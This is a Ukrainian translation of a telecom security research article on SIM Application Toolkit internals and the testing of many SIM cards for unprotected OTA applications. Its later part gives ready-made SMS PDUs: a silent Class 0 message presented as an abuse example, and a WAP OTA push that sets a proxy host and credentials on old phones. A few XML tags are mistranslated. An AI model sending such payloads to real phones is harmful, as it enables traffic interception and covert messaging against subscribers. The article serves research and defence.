У першій частині статті ми зупинились на AT-командах. У цій частині ми розглянемо можливості SIM Application Toolkit (STK), які дозволяють оператору та додаткам взаємодіяти з SIM-картою для виконання різних завдань, включаючи управління мережевими функціями та безпекою. Особливу увагу приділено потенційним вразливостям STK та способам, якими зловмисники можуть використовувати ці функції для атак.
Disclaimer: Ця стаття підготовлена на основі інформації з відкритих джерел і має виключно освітню мету. Її мета — допомогти зрозуміти методи, які можуть використовувати зловмисники, щоб користувачі могли краще захистити себе. Ми не підтримуємо жодних незаконних дій і закликаємо використовувати ці знання тільки для підвищення власної безпеки.


Доступ до програми SUT STK на Samsung S6 за допомогою USSD-коду *888#.
SIM-карти, що підтримують STK, можна ідентифікувати через каталог DF_GSM (3F00/7F20), який містить “таблицю послуг GSM SIM”. У цій таблиці перераховано всю інформацію, пов’язану з мережею. Це дозволяє також отримати дані про послуги, якими користується SIM Application Toolkit (SUT). Нижче наведено приклад:

Нижче наведено деякі служби/програми на прикладі знімка екрана:
SMS-Cell Broadcast Data Download використовується для доставки повідомлення на все мобільне обладнання у певній зоні.
SMS-Point-to-Point Data Download використовується для ініціалізації SIM-карти.
Проактивна SIM-карта визначає протоколи зв’язку між SIM-картою та мобільним пристроем. Він пропонує різні команди, які SIM-карта може видавати безпосередньо на мобільному телефоні, а саме: ПОКАЗАТИ ТЕКСТ, ВІДТВОРЕННЯ СИГНАЛУ, ЗАПУСК ЗА КОМАНДОЮ, НАЛАШТУВАННЯ ВИКЛИКУ, НАДІСЛАТИ КОРОТКЕ ПОВІДОМЛЕННЯ, НАДІСЛАТИ DTMF та багато іншого.
Для точної ідентифікації служб або додатків у механізмі набору інструментів (наприклад, завантаження даних SMS-Cell Broadcast, завантаження даних SMS точка-точка, проактивна SIM-карта тощо) використовуються довідники із застосування інструментарію (TAR). TAR унікально ідентифікують служби або програми за допомогою діапазону чисел від 000001 до FFFFFF. Нижче наведено додаткову інформацію про значення TAR та їхню категорію.
Tar:
000000, Категорія: Card Manager
Tar:
000001доAFFFFF, Категорія: Виділено емітентом програми 1-го рівня
Tar:
B00000доB0FFFF, Категорія: Віддалене керування файлами (RFM)
Тар:
B10000доB1FFFF, Категорія: Платіжна заявка
Тар:
B20000доBFFEFF, Категорія: РФС
Tar:
BFFF00доBFFFFF, Категорія: Власна програма Toolkit
Tar:
C00000доFFFFFF, Категорія: Виділено емітентом програми 1-го рівня
TAR активують функції та служби, що використовуються операторами для віддаленого зв’язку з SIM-картами, встановлення програм і керування їхнім вмістом. Доступ до даних у TAR можливий лише з ключами ADM, кількість спроб введення яких обмежена 5-8 разами. Відсутність дійсних ключів може призвести до несправності SIM-карти. Однак через недоліки безпеки деякі TAR можна отримати без ключів через спеціальні SMS.
Ми зібрали колекцію SIM-карт багатьох операторів для дослідження вразливостей. Частина SIM-карт була придбана в Інтернеті або надіслана друзями з-за кордону. Хоча деякі з них були неактивні в мережі, вони все одно були корисні для аналізу. Для більшості SIM-карт потрібен був активний кредит, інакше процес активації та тести були неможливі.

Під час цього дослідження ми протестував понад 60 SIM-карт. Нижче наведено розбивку мереж і походження:
Giffgaff (Великобританія) * 16
Lebara (Великобританія) * 8
O2 (Великобританія) * 6
T-Mobile (Великобританія) * 5
Lyca Mobile (Великобританія) * 4
Smarty (Великобританія) * 3
VOXY (Великобританія) * 2
EE (Великобританія) * 2
Vodafone (Великобританія) * 2
3 (Великобританія) * 2
Tesco Mobile (Великобританія) * 2
Wind Tre (Італія) * 2
Talk Home (Великобританія) * 1
ASDA Mobile (Великобританія) * 1
Vodafone (Італія) * 1
Vodacom (Танзанія) * 1
Salt Mobile (Швейцарія) * 1
Natel (Швейцарія) * 1
Kölbi (Коста-Ріка) * 1
Здавалося, що багато SIM-карт були вразливі до атак викрадення SIM-карти через незахищені програми. Щоб визначити вразливі програми, ми перевірили усі TAR, які використовуються програмами в SUT, та ідентифікував ті, що повернули відповідь без захисту (наприклад, KIC і KIK). За допомогою SIMTester було виявлено різні вразливі TAR, пов’язані з віддаленим керуванням файлами (RFM), які могли бути доступні через OTA SMS для передачі push-команд. Важливо зазначити, що ці SIM-карти були виготовлені у різний час, але багато з них все ще доступні для придбання. Нижче наведено скріншоти, що демонструють процес ідентифікації незахищених TAR і результати тестування вразливих SIM-карт за допомогою SIMTester.




Ми використовували обмежену демонстраційну версію NowSMS , сподіваючись дізнатися про Over The Air (OTA) і як віддалено запускати служби/програми на вразливих SIM-картах за допомогою SMS. NowSMS — це рішення для шлюзу SMS і MMS (449,00USD за повну версію.

Серверне програмне забезпечення NowSMS було встановлено на моєму ноутбуці (шлюз), а для клієнта ми використовували Samsung S6 (модем GSM).

SMS-повідомлення були надіслані на Nokia 3330 (варіант відомої Nokia 3310), підключений до іншого ноутбука за допомогою кабелю даних F-BUS (модель DAU-05B) і конвертера USB в RS232 у поєднанні з утилітою dct3-gsmtap, запустіть відому утиліту Wireshark для аналізу трафіку.



Це дало змогу отримувати дані GSM (вперед і назад) після ввімкнення секретного меню під назвою NetMonitor на Nokia 3330. Цей процес можна виконати за допомогою інструменту під назвою gnokii.

Меню NetMonitor, доступне на різних телефонах Nokia, складається з набору дисплеїв, на яких доступна велика кількість інформації про SIM-картку, телефон і мережу.
Нижче наведено список доступних дисплеїв:
Дисплей 1: інформація про комірку
Дисплей 2: Додаткова інформація про обслуговуючу комірку
Дисплей 3: обслуговуюча комірка, 1-й і 2-й сусіди
Дисплей 4 і 5: 3-8 сусідні комірки
Дисплей 6: Дисплей вибору мережі
Дисплей 7: біти системної інформації для обслуговуючої комірки
Дисплей 10: Період повторення пейджінгу, TMSI, Таймер оновлення розташування, AFC і AGC
Дисплей 12: Шифрування, перемикання, статус DTX та IMSI
Дисплей 13: Дисплей перемикання висхідного каналу DTX
Дисплей 14: Перемикання індикатора екранування
Дисплей 17: Перемикач статусу «BTS Test».
Дисплей 18: контроль стану освітлення
Дисплей 19: Перемикання статусу блокування клітинок
Дисплей 20: стан зарядки
Дисплей 21: Дисплей постійної напруги зарядки
Дисплей 22: виявлення повного заряду батареї
Дисплей 23: Монітор стану акумулятора та телефону
Дисплей 24: значення BSI
Відображення 30: відображення регістру аудіо API
Дисплей 34: дисплей FBUS
Дисплей 35: Причини скидання ПЗ
Дисплей 36: Лічильники для скидання
Дисплей 39: Інформація про причини зняття виклику
Дисплей 40: скидання лічильників передачі
Дисплей 41 (односмуговий): дисплей передачі
Дисплей 41 (дводіапазонний): дисплей передачі, INTER CELL
Дисплей 42 (дводіапазонний): дисплей передачі, INTRA CELL
Дисплей 43 L2 дисплей
Дисплей 44: Перемкнути рівень версії
Дисплей 45: Перемикання функцій передавача
Дисплей 51: інформація про SIM
Дисплей 54: блок дисплей 1
Дисплей 55: блокувати дисплей 2
Дисплей 56: блок дисплей 3
Дисплей 57: Стан пам’яті перед скиданням
Дисплей 60: скидання лічильників до нуля
Дисплей 61: Дисплей лічильника пошуку та повторного вибору
Дисплей 61 (дводіапазонний): дисплей лічильника пошуку та повторного вибору
Дисплей 62: Дисплей лічильника вимірювань сусідів
Дисплей 63: Лічильники спроб виклику
Дисплей 64: Лічильники спроб оновлення місцезнаходження
Дисплей 65: Лічильники спроб SMS
Дисплей 66: Лічильники часу очікування SMS
Дисплей 70: Тимчасові лічильники DSP
Дисплей 71 і 72: Керуйте вдосконаленнями звуку DSP 1 і 2
Дисплей 73: загальний дисплей для DSP Audio Enhancements
Дисплей 74: покращення звуку DSP 1 (DRC)
Дисплей 75: Стан аудіошляху
Дисплей 76: Вухо (= SownLink) звуковий дисплей
Дисплей 77: Дисплей аудіо з мікрофона (= UpLink).
Дисплей 78: покращення звуку DSP (AEC)
Дисплей 79: Дисплей еквалайзера звуку
Дисплей 80: скинути та перезапустити таймери
Дисплей 81: увімкнення або вимкнення таймерів
Дисплей 82: Дисплей тестового таймера
Дисплей 83: керування відображенням інформації про завдання
Дисплей 84, 85 і 86: Інформація про завдання
Дисплей 87: Інформація про OS_SYSTEM_STACK
Дисплей 88: Інформація про поточні версії програмного забезпечення MCU та DSP
Дисплей 88 (Nokia 9210): інформація про версію органайзера
Дисплей 89: Інформація про поточні версії HW і TXT
Дисплей 89 (Nokia 9210): інформація про версію телефонної частини
Дисплей 96 (Nokia 3210): температура приймача
Дисплей 99 (Nokia 7110): режим FBUS і режим аксесуара
Дисплей 100 (Nokia 7110, 62XX): використання внутрішньої пам’яті, огляд
Дисплей 102 (Nokia 9210): тип останнього виклику даних
Дисплей 103 (Nokia 9210): тип останнього виклику MT
Дисплей 107 (Nokia 62XX): функція голосового набору
Дисплей 110–115 (Nokia 7110, Nokia 62XX): використання внутрішньої пам’яті, деталі
Дисплей 130 (Nokia 7110): Відкрийте лічильник
Дисплей 132 (Nokia 3310): інформація про виклик
Дисплей 133 (Nokia 3310): Інформація про зарядний пристрій
Дисплей 240 (без виведення): Очистити лічильники та запустити таймери
Дисплей 241 (немає виводу): вимкнути меню NetMonitor
Дисплей 242 (немає виводу): вимкнути дисплеї польових тестів R&D
Доступ до дисплея 01 секретного меню NetMonitor на Nokia 3310.


Дисплей 17 є наступним прихованим параметром меню NetMonitor, і його можна ввімкнути, створивши запис телефонної книги SIM під назвою «BTS TEST» у позиції 33 списку контактів, використовуючи ідентифікаційний номер вежі стільникового зв’язку як номер телефону контакту. Це також можна зробити за допомогою gnokii, використовуючи наведений нижче запис у телефонній книзі:
// Ім'я запису; Cell ID, Location; посада; Ярлик BTS TEST;113;SM;33;5
Дисплей 17 дає змогу «прив’язати» мобільний пристрій до однієї вежі стільникового зв’язку, і під час використання цієї функції жодна інформація не передається сусіднім осередкам, але дані все ще можуть надсилатися та отримуватися без проблем. Оскільки ловці IMSI отримують прибуток, створюючи підроблені вежі стільникового зв’язку, а жертви підключаються до них через сильнішу потужність сигналу, безумовно, Display 17 потребує додаткового дослідження.



СЕРВІС КОРОТКИХ ПОВІДОМЛЕНЬ (SMS)
SMS може бути надіслано через мобільний пристрій, комп’ютер або сервер і передано до центру обслуговування коротких повідомлень (SMSC), який зрештою направляє його до місця призначення. Хоча процес надсилання та отримання SMS здається простим, він включає кілька ролей і маршрутів, що визначають тип SMS. Служба коротких повідомлень складається з двох основних служб:
Коротке повідомлення Mobile Terminated (SM MT), ця послуга стосується SMS, отриманих на мобільний пристрій абонента. У цьому випадку тип SMS визначається як SMS-ДОСТАВКА.
Short Message Mobile Originated (SM MO), ця послуга стосується SMS, які надсилаються від мобільного пристрою абонента. Тип SMS, до якого призведе ця дія, визначається як SMS-SUBMIT.
Можуть бути випадки, коли наступне SMS, визначене як SMS-STATUS-REPORT, надсилається SMSC відправнику мобільного пристрою, щоб підтвердити, що адреса призначення (DA) успішно отримала SMS.

Усі вихідні SMS-повідомлення, надіслані за допомогою NowSMS, були перераховані у веб-інтерфейсі адміністратора та закодовані у форматі протокольних даних (PDU) відповідно до 7-бітного стандарту GSM . Це означало, що всі SMS-повідомлення PDU можна аналізувати, скасовувати, налаштовувати та використовувати повторно.
Повідомлення PDU можна надсилати через USB-модем (або сумісний телефон) за допомогою Minicom. Нижче наведено приклад того, як надіслати SMS-SUBMIT PDU, який містить текст «Hello SensePost» за допомогою Minicom.
AT+CMGS=27// Довжина октетів (70 символів / 2 - 8 SMSC) > 079144872000626001000C9144573227562000000FC8329BFD064DCBEE7919FA9ED301// Тут необхідно натиснути Ctrl+Z замість ENTER
Нижче наведено таблицю, що описує кожну частину (октети) наведеного вище корисного навантаження. Декодери SMS PDU також можна легко знайти в Інтернеті – наприклад, https://www.diafaan.com/sms-tutorials/gsm-modem-tutorial/online-sms-submit-pdu-decoder/ . Зручним інструментом для створення правильного корисного навантаження також був модуль python SMS PDU ( pip install smspdu).
Октет: 07, посилання: довжина адреси
Октет: 91, поле TP: тип адреси, посилання: 91 міжнародний (81 національний)
Октет: Міжнародний 448720006260 Національний 7008022660F (F == заповнення), Поле TP: SMSC, Посилання: Міжнародний (+447802002606)
Октет: 01, поле TP: TP-MTI, посилання: індикатор типу повідомлення – SMS-SUBMIT (21 SMS-SUBMIT + статус звіту про запит)
Октет: 00, поле TP: TP-MR, посилання: посилання на повідомлення
Октет: 0C, посилання: довжина адреси в півоктетах
Октет: 91, Поле TP: Тип адреси, Посилання: 91 Міжнародна
Октет: 441122334455, поле TP: TP-DA, посилання: адреса призначення (+441122334455)
Октет: 00, поле TP: TP-PID, посилання: ідентифікатор протоколу
Октет: 00, поле TP: TP-DCS, посилання: схема кодування даних
Октет: 0F, поле TP: TP-UDL, посилання: довжина даних користувача
Октет: C8329BFD064DCBEE7919FA9ED301, поле TP: TP-UD, посилання: дані користувача (Hello SensePost)
SMSC також можна опустити ( 00). У цьому випадку буде використовуватися стандартний. Зберігається на SIM-картці ( EFsmsp– параметри послуги SM).
Зазвичай SMS автоматично зберігається на SIM-картці після отримання від мобільного пристрою. Можливість видалити або зберегти SMS доступна абоненту пізніше. Однак класи SMS можна використовувати для визначення місця, де слід зберегти SMS.
Клас 0: у разі використання цього класу SMS з’являтиметься на екрані мобільного телефону одержувача, і втручання користувача не буде потрібно. Це SMS буде автоматично видалено через дуже короткий час (за замовчуванням це 5 хвилин, але також можна встановити 0 секунд, що призведе до невидимого SMS), якщо користувач не вирішить зберегти його. Щоб використовувати цей клас, у полі Схема кодування даних (TP-DCS) має бути встановлено значення
10.
Клас 1: цей клас вказує на те, що SMS буде збережено в пам’яті пристрою або на SIM-картці. Поле TP-DCS має бути встановлено на
11.
Клас 2: цей клас використовується, коли SMS-повідомлення містить дані SIM-карти. Для цього класу схема кодування даних (TP-DCS) повинна бути встановлена на
12.
Клас 3: цей клас вказує на те, що після отримання SMS буде переслано на зовнішній пристрій. У цьому випадку для поля TP-DCS має бути встановлено значення
13.
Нижче наведено простий SMS PDU класу 0 ( додаткових тестів щодо інших типів класу SMS не проводилося ), а потім приклад того, як зловживати цією функцією.
AT+CMGS=28 0001000C9144112233445500 10 114676788E064D9B53500B34A7D7E96D


Хоча наведене нижче працює лише на старих телефонах (здебільшого Nokia), нижче наведено приклад налаштувань служби WAP OTA, які також можна надіслати за допомогою SMS.
<!-- TP-USER-DATA --> <?xml version="1.0"?> <!DOCTYPE CHARACTERISTIC-LIST SYSTEM "file://c:/settingspush/settings.dtd" > <СПИСОК ХАРАКТЕРИСТИК> <CHARACTERISTIC TYPE="ADDRESS"> <PARM NAME="BEARER" VALUE="GSM/CSD"/> <PARM NAME="PROXY" VALUE="52.85.104.62"/> <PARM NAME="CSD_DIALSTRING" VALUE="+44123456"/> <PARM NAME="PPP_AUTHTYPE" VALUE="PAP"/> <PARM NAME="PPP_AUTHNAME" VALUE="stutm"/> <PARM NAME="PPP_AUTHSERCRET" VALUE="password123"/> <PARM NAME="CSD_CALLTYPE" VALUE="ANALOGUE"/> <PARM NAME="CSD_CALLSPEED" VALUE="AUTO"/> </ХАРАКТЕРИСТИКА> <CHARACTERISTIC TYPE="URL" VALUE=" https://sensepost.com "/> <CHARACTERISTIC TYPE="NAME"> <PARM NAME="NAME" VALUE="SensePost:)"/> </ХАРАКТЕРИСТИКА> <CHARACTERISTIC TYPE="BOOKMARK"> <PARM NAME="NAME" VALUE="Wap"/> <PARM NAME="URL" VALUE=" https://sensepost.com "/> </ХАРАКТЕРИСТИКА> </CHARACTERISTIC-LIST>
// Перше SMS PDU AT+CMGS=155 >0051000C9144571651228900F5A78C0B0504C34FC002000304020101062C1F2A6170706C69636174696F6E2F782D7761702D70726F762E62726F777365722D73657474696E67730081EA01016A0045C60601871245018713110335322E38352E3130342E36320001872111032B343431323334353600018722700187231103737475746D00018724110370617373776F726431323300018728720187
// Другий PDU SMS AT+CMGS=123 >0051000C9144571651228900F5A75D 0B0504C34FC0020003040202296A01018607110368747470733A2F2F73656E7365706F73742E636F6D0001C60801 8715110353656E7365506F73743A29000101C67F0187151103737475746D3 A2900018717110368747470733A2F2F73656E7365706F73742E636F6D00010 101
Налаштування служби WAP OTA.
У цьому дописі ми розглянули багато аспектів, пов’язаних із SIM-карткою, включаючи фізичні характеристики, внутрішнє програмне забезпечення, методи взаємодії з програмами та їх тестування на SIM-карті. Крім того, ми обговорили інформацію про SMS-повідомлення, зокрема як надсилати власноруч створені SMS.